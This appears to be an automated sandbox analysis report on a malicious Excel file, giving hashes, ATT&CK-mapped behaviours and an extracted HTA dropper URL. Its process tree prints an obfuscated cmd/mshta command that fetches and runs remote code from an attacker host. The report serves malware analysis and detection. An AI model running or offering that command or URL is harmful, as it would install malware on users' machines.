383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21/11/2024, 00:49

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General

Target

383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd.xls
Size

100KB
MD5

d72a4038c6bbc827edbe1acad62037c4
SHA1

afd87e7be24df815bd2c0307f401517fb83cd2b4
SHA256

383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd
SHA512

4e6682861496180f95dbbb015cd2a4829727adff88de561396c09391fbe3c6e41302126b6b23818614c4efcfa0f7d8f0ed23a0b7bcbc4ec80028dc60c5a59138
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2112	1956	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2716	mshta.exe
5	2716	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1956	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1956	EXCEL.EXE
1956	EXCEL.EXE
1956	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 2112	1956	EXCEL.EXE	30
PID 1956 wrote to memory of 2112	1956	EXCEL.EXE	30
PID 1956 wrote to memory of 2112	1956	EXCEL.EXE	30
PID 1956 wrote to memory of 2112	1956	EXCEL.EXE	30
PID 2112 wrote to memory of 2716	2112	cmd.exe	32
PID 2112 wrote to memory of 2716	2112	cmd.exe	32
PID 2112 wrote to memory of 2716	2112	cmd.exe	32
PID 2112 wrote to memory of 2716	2112	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1956-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1956-1-0x000000007221D000-0x0000000072228000-memory.dmp

Filesize
44KB

Download
memory/1956-2-0x000000007221D000-0x0000000072228000-memory.dmp

Filesize
44KB

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